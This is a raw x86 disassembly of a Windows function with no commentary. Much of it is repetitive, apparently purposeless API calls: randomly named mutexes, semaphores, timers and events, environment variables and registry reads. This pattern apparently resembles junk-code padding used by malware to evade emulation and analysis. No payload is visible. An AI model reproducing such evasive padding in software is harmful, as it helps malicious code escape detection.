je 0x409fb0
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call ebx
jmp 0x409fcb
lea eax, [esp + 0x1c]
push eax
push 0x20019
push esi
push str.regp5ktiyhg
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SMPHR_n7em6as3
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.log:_k5zh0dv2
mov esi, eax
call edi
push 0
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
push str.WTMR_nzn196ek
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40a00c
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
push str.XMLz7l3k2x1
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call esi
xor eax, eax
push eax
push 0x291
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.hg8presx
push str.m65dvkya
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ev_3zz9krg1
xor esi, esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.MTXk37gid8g
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40a08a
push str.log:_nart5k9s
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.WTMR_ujikqcr2
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.il3dmwed
push str.kp5avlfb
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test esi, esi
je 0x40a0b8
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40a0bf
push str.log:_wfz63p9g
call edi
call ebx
push str.ev_eqrkj8il
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.SMPHR_porhwg5s
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40a103
call ebx
lea eax, [esp + 0x948]
push eax
push str.s_unxlabxs
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0xd87
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_nt3u2q78
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [esp + 0x20]
xor esi, esi
push eax
push 0x20019
push esi
push str.regmmjpabm8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XML875x7bjq
push 1
push esi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push dword [esp + 0x14]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
call fcn.00405407
mov dword [esp], str.XMLlagoqivt
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call ebx
push str.WTMR_80vgrvm2
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call ebx
test esi, esi
je 0x40a1bd
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.MTXp7t6psz1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40a1d9
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40a1dd
call ebx
call ebx
push esi
push 0x137f
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0x484
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.ev_0xtgwmyq
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esp + 0xa88]
push eax
push str.s_w5x6ryzs
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_kuaw12l7
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_sr1t48ho
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
push str.SMPHR_gkx43k56
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea eax, [esp + 0x38]
push eax
push 0x20019
push esi
push str.regkdz581uw
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [esp + 0x28]
push dword [esp + 0x30]
call dword [0x41a03c]
mov dword [esp + 0x24], eax
test eax, eax
je 0x40a2f4
push 0x208
push 0x40
call dword [0x41a04c]
push 0
push 0x1a
push eax
push 0
mov dword [esp + 0x2c], eax
call dword [0x41a0c8]
mov ecx, dword [esp + 0x24]
call fcn.00407879
test eax, eax
je 0x40a2ea
mov edx, dword [esp + 0x1c]
mov ecx, edx
push 0
push dword [esp + 0x28]
push dword [esp + 0x1c]
call fcn.004075fa
add esp, 0xc
push dword [esp + 0x1c]
call dword [0x41a0cc]
mov edx, dword [esp + 0x14]
mov ecx, esi
call fcn.004126ba
mov edx, dword [esp + 0x14]
mov ecx, esi
call fcn.00412a7d
mov edx, dword [esp + 0x14]
mov ecx, esi
call fcn.0040692c
push dword [esp + 0x14]
push esi
call fcn.0040e3b1
mov edx, dword [esp + 0x14]
mov ecx, esi
call fcn.0040f4a1
mov edx, dword [esp + 0x14]
mov ecx, esi
call fcn.0040633b
push esi
call dword [0x41a090]
add eax, eax
push eax
push 0x40
call dword [0x41a04c]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
push eax
push esi
call fcn.0040d26f
test eax, eax
jle 0x40a36b
push dword [esp + 0x14]
lea ecx, [esp + 0x3b]
push dword [esp + 0x24]
call fcn.0040d5ef
push dword [esp + 0x20]
call dword [0x41a0cc]
push str.log:_d4j0k4g8
call edi
push str.WTMR_u1wnwrmb
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40a399
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40a3a0
push str.log:_h918nhwz
call edi
push str.XML7qncc6tn
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_n16je2p0
call edi
push str.SMPHR_3dfe604h
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [esp + 0x3c]
push eax
push 0x20019
push 0
push str.reg12rebdl5
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40a418
lea eax, [esp + 0x38]
push eax
push 0x20019
push 0
push str.reg9f5h4t7f
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.MTXw5rdaaf6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40a43b
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_jid45878
call edi
jmp 0x40a43d
call ebx
mov ebx, dword [esp + 0x28]
mov ecx, ebx
call fcn.00408b33
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40a457
push eax
call dword [0x41a148]
mov esi, dword [esp + 0x30]
push esi
call dword [0x41a0f8]
push esi
call dword [0x41a0cc]
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x40a478
push eax
call dword [0x41a148]
mov esi, dword [esp + 0x10]
push esi
call dword [0x41a0f8]
push esi
call dword [0x41a0cc]
push ebx
call dword [0x41a0cc]
push dword [esp + 0x18]
call dword [0x41a0cc]
push dword [esp + 0x14]
call dword [0x41a0cc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret